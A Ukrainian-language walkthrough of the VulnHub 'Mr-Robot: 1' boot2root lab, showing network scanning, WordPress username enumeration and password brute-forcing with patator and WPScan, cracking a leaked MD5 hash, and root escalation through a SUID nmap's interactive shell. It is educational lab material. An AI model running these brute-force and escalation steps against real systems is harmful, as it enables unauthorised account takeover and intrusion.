VulnHub: Занурюємося в хакінг в стилі серіалу Mr. Robot



Я думаю багато хто дивився серіал Mr. Robot, з кожним сезоном, про нього дізнається все більше народу, от і VulnHub не залишився осторонь. І не так вже давно там з'явилася Boot2Root віртуальна машина Mr-Robot: 1. Її рішення, ми сьогодні і розглянемо.

Реверсу тут не буде, але буде кілька прикладів, що демонструють, як з-за не вірного призначення прав на критично важливі файли, ваша система може бути зламана. І так, почнемо, потрібно добути 3 ключа.

Ключ 1
Отримуємо список портів, вже відомим нам способом:

$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV

80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd
Далі запустимо robotscan, який ми вже застосовували в одній з статей:

$ ./robotscan.py -u 'http://192.168.1.29' -e txt,php -w /usr/share/dirb/wordlists/big.txt -x 403



Перший ключ:

$ curl http://192.168.1.29/key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9

Ключ 2
Як ви помітили, там є ще 1 не типовий для WordPress файл: fsocity.dic. Як з'ясувалося, це вже готовий словник для брута. Залишилося видалити дублікати:

$ sort -u fsocity.dic > fsocity_sort.dic

WPScan відмовився шукати доступних користувачів, тому доведеться це робити іншим способом:
P. S. WPScan перевіряє URL види: target_url/?author=$id
В той час, як за замовчуванням, при авторизації, скрипт wp-login.php повертає «Invalid username» у разі якщо користувач не знайдений, і «The password you entered for the username $username is incorrect»
$ sudo patator http_fuzz url=http://192.168.1.29/wp-login.php method=POST body='log=FILE0&pwd=nn&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.29%2Fwp-admin%2F&testcookie=1' follow=1 accept_cookie=1 0=./fsocity_sort.dic -x ignore:fgrep='Invalid username'

І через деякий час отримуємо висновок:
22:28:26 patator INFO — 200 4093:3643 0.262 | Elliot | 5474 | HTTP/1.1 200 OK
22:28:26 patator INFO — 200 4093:3643 0.276 | elliot | 5473 | HTTP/1.1 200 OK
22:28:27 patator INFO — 200 4093:3643 0.235 | ELLIOT | 5475 | HTTP/1.1 200 OK
Логін є, залишилося підібрати пароль. В якості словника, скористаємося тим же файлом:

$ sudo ./wpscan.rb --url 192.168.1.29 --threads 50 --wordlist ./fsocity_sort.dic --username elliot



Прокинем собі шелл через Metasploit:



Насамперед вивчаємо вміст директорії з користувачами:



Ключ тут, але потрібні креди користувача robot. Відкривши другий доступний файл, знаходимо потрібну нам інформацію:

$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

Залишилося розшифрувати MD5 на найближчому онлайн сервіс: abcdefghijklmnopqrstuvwxyz.

Логинимся в виртуалке і отримуємо другий ключ:



Ключ 3
Третій ключ ймовірно розташований у користувача root. Подивимося доступні SUID програми:

$ find / -perm -4000 2>/dev/null



Нічого не звичайного, крім nmap'а. Після запуску без параметрів, отримуємо довідку, і потенційну уразливість:



Як сказав би MrRobot:
Зламати їх було легко, вони використовували стару версію nmap'а з підтримкою інтерактивного режиму, і не вірно виставлені права, так що я з легкістю отримав root доступ
$ nmap --interactive



З інтерактивного режиму запускаємо командну оболонку !sh, і забираємо останній ключ:



От і все. Чергове підтвердження того, як не правильне розмежування прав, призводить до компрометації системи!
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.